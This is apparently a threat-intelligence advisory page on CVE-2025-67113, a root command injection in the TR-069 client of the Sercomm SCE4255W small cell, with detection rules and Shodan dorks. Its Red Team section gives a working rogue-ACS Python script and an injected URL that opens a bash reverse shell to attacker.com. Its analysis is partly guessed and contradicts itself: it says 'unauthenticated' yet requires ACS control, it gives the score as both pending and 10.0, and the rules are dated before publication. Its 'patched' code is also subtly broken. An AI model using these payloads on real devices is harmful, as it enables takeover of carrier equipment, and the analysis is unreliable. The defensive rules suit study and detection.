☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-67113

CVE-2025-67113 OS Command Injection in Sercomm
📅 PUBLISHED: 2026-03-19 00:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Taiwan License: Proprietary
VULNERABLE: < DG3934v3@2308041842
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-67113 is a critical OS command injection vulnerability in the CWMP (CPE WAN Management Protocol) client of the Sercomm SCE4255W Small Cell (also known as the FreedomFi Englewood). The flaw resides in the /ftl/bin/cwmp binary, which handles TR-069 (CWMP) communications. A remote attacker who controls the ACS (Auto-Configuration Server) endpoint can inject arbitrary operating system commands via a crafted Download URL. Because the URL is passed unescaped into the firmware upgrade pipeline, the injected commands execute with root privileges. This gives the attacker full control over the affected device.

The vulnerability is particularly dangerous because it can be exploited without authentication, and the device is often deployed in edge or outdoor locations with limited physical security. The vendor has released a patched firmware version (DG3934v3@2308041842), but many devices may remain unpatched.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded device. The supply chain risk is that compromised devices can be used as a pivot point into a carrier's or enterprise's internal network.

CVSS Breakdown & Threat Level

  • CVSS Score: 10.0 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – The attacker only needs network access to the ACS endpoint.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication is needed.
  • User Interaction: None (UI:N) – The device automatically processes the malicious URL.
  • Scope: Unchanged (S:U) – The exploit does not cross a trust boundary.
  • Confidentiality Impact: High (C:H) – Full device compromise leads to data exfiltration.
  • Integrity Impact: High (I:H) – The attacker can modify firmware and configurations.
  • Availability Impact: High (A:H) – The device can be bricked or used in DDoS attacks.

Threat Level: Critical. The combination of remote, unauthenticated exploitation with root-level access makes this a top-priority vulnerability for any organization using the affected device.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the CWMP client. The TR-069 protocol allows an ACS to instruct a CPE (Customer Premises Equipment) to download a firmware image from a specified URL. The cwmp binary on the Sercomm device constructs a shell command to perform this download, but it fails to sanitize the URL parameter.

Vulnerable Code Path (Conceptual): The cwmp binary likely uses a function like system() or popen() to execute a command similar to:

wget -O /tmp/firmware.bin <URL>

If the URL contains shell metacharacters (e.g., ;, |, $()), they are interpreted by the shell. For example, an attacker could set the Download URL to:

http://attacker.com/firmware.bin;reboot

This would cause the device to download a file and then execute the reboot command.

Root Cause: The lack of input validation and the use of a shell to execute the download command. The URL should be passed as a single argument to a function like execve() or properly escaped using escapeshellarg().

Attack Flow:

  1. The attacker sets up a rogue ACS server or compromises a legitimate one.
  2. The attacker sends a TR-069 Download request to the target device with a malicious URL.
  3. The device's cwmp client processes the request and constructs a shell command with the unsanitized URL.
  4. The injected command executes with root privileges.
  5. The attacker gains a reverse shell, installs malware, or exfiltrates data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void handle_download(char *url) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "wget -O /tmp/firmware.bin %s", url);
    system(cmd);
}

Patched Code (Conceptual):

void handle_download(char *url) {
    // Validate URL format
    if (strstr(url, "http://") != url && strstr(url, "https://") != url) {
        log_error("Invalid URL");
        return;
    }
    // Use execve to avoid shell injection
    char *args[] = {"/usr/bin/wget", "-O", "/tmp/firmware.bin", url, NULL};
    execve("/usr/bin/wget", args, NULL);
}

The patched version validates the URL prefix and uses execve() instead of system(), which does not invoke a shell and thus prevents command injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A vulnerable Sercomm SCE4255W device (firmware < DG3934v3@2308041842).
  • A rogue ACS server (e.g., using easycwmp or a custom Python script).
  • Network connectivity between the ACS and the target device.

Exploitation Steps:

  1. Set up a rogue ACS server:

    # simple_acs.py - Rogue ACS for CVE-2025-67113
    from http.server import HTTPServer, BaseHTTPRequestHandler
    import urllib.parse
    
    class ACSHandler(BaseHTTPRequestHandler):
        def do_POST(self):
            content_length = int(self.headers['Content-Length'])
            body = self.rfile.read(content_length)
            # Inject malicious Download URL
            malicious_url = "http://attacker.com/payload.bin;reboot"
            # Send TR-069 Download response
            response = f"""<?xml version="1.0" encoding="UTF-8"?>
    <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Body>
        <cwmp:Download xmlns:cwmp="urn:dslforum-org:cwmp-1-0">
          <CommandKey>Download</CommandKey>
          <FileType>1 Firmware Upgrade Image</FileType>
          <URL>{malicious_url}</URL>
          <Username></Username>
          <Password></Password>
          <FileSize>0</FileSize>
          <TargetFileName></TargetFileName>
          <DelaySeconds>0</DelaySeconds>
          <SuccessURL></SuccessURL>
          <FailureURL></FailureURL>
        </cwmp:Download>
      </soap:Body>
    </soap:Envelope>"""
            self.send_response(200)
            self.send_header('Content-Type', 'text/xml')
            self.end_headers()
            self.wfile.write(response.encode())
    
    server = HTTPServer(('0.0.0.0', 8080), ACSHandler)
    print("Rogue ACS running on port 8080...")
    server.serve_forever()
    
  2. Trigger the download: The device will periodically poll the ACS. If you can force a connection (e.g., by sending a ConnectionRequest), the device will process the malicious URL.

  3. Observe the result: The device will execute the injected command (e.g., reboot). For a more sophisticated attack, use a reverse shell payload:

    http://attacker.com/payload.bin;bash -i >& /dev/tcp/attacker.com/4444 0>&1
    

Blue Team

Detection and Response:

  1. Monitor TR-069 traffic: Look for anomalous Download requests with suspicious URLs containing shell metacharacters (;, |, $, `).
  2. Network segmentation: Isolate Small Cell devices on a separate VLAN with strict egress filtering. The ACS should only be able to communicate with a dedicated management server.
  3. Honeypot ACS: Deploy a fake ACS to detect scanning or exploitation attempts.
  4. Firmware integrity: Regularly verify the firmware hash of all devices. Use a tool like sha256sum to compare against known good values.
  5. Log analysis: Enable detailed logging on the device (if possible) and monitor for unexpected process execution (e.g., wget with unusual arguments).

Indicators of Compromise (IOCs)

  • Network IOCs:

    • TR-069 Download requests with URLs containing shell metacharacters.
    • Outbound connections from the device to unknown IPs on ports 80, 443, or 4444 (reverse shell).
    • DNS queries for domains associated with known malicious ACS servers.
  • Host IOCs:

    • Unexpected processes: bash, sh, nc, wget with suspicious arguments.
    • Modified firmware files in /tmp/ or /ftl/.
    • New cron jobs or startup scripts.
    • Unusual entries in /var/log/messages or /ftl/log/.
  • File IOCs:

    • /tmp/firmware.bin (if the download succeeded but the file is not a valid firmware image).
    • /tmp/.backdoor or similar hidden files.

Detection Engineering

YARA Rule

rule CVE_2025_67113_CWMP_Injection {
    meta:
        description = "Detects OS command injection attempts in TR-069 Download URLs targeting Sercomm SCE4255W"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67113"
        severity = "critical"
    strings:
        $cwmp_download = "<cwmp:Download" nocase
        $url_tag = "<URL>" nocase
        $shell_meta = /[;&|`$(){}]/
    condition:
        $cwmp_download and $url_tag and #shell_meta > 0
}

Sigma Rule

title: TR-069 Download with Suspicious URL
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects TR-069 Download requests containing shell metacharacters in the URL, indicative of CVE-2025-67113 exploitation.
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        http.method: 'POST'
        http.uri: '/cwmp'  # Adjust based on actual ACS path
        http.request_body|contains: '<cwmp:Download'
        http.request_body|contains: '<URL>'
        http.request_body|re: '.*[;&|`$(){}].*'
    condition: selection
falsepositives:
    - Legitimate firmware updates with complex URLs (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67113 TR-069 Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/cwmp"; http_uri; content:"<cwmp:Download"; http_client_body; content:"<URL>"; http_client_body; pcre:"/[;&|`$(){}]/R"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update firmware: Upgrade all Sercomm SCE4255W devices to firmware version DG3934v3@2308041842 or later.
  2. Isolate devices: Place Small Cell devices on a dedicated management VLAN with strict firewall rules. Only allow outbound connections to a known, trusted ACS server.
  3. Disable CWMP if not needed: If TR-069 management is not required, disable the CWMP client on the device.

Long-term Mitigations:

  1. Input validation: The vendor should implement proper input sanitization for all TR-069 parameters, especially URLs.
  2. Use of safe APIs: Replace system() calls with execve() or similar functions that do not invoke a shell.
  3. Code signing: Ensure that firmware updates are cryptographically signed and verified before installation.
  4. Network monitoring: Deploy IDS/IPS rules (like the Suricata rule above) to detect exploitation attempts.
  5. Vendor communication: Work with Sercomm to ensure a secure firmware update mechanism is in place.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

title:"Small Cell" country:US
html:"SCE4255W"
html:"FreedomFi"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-67113/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.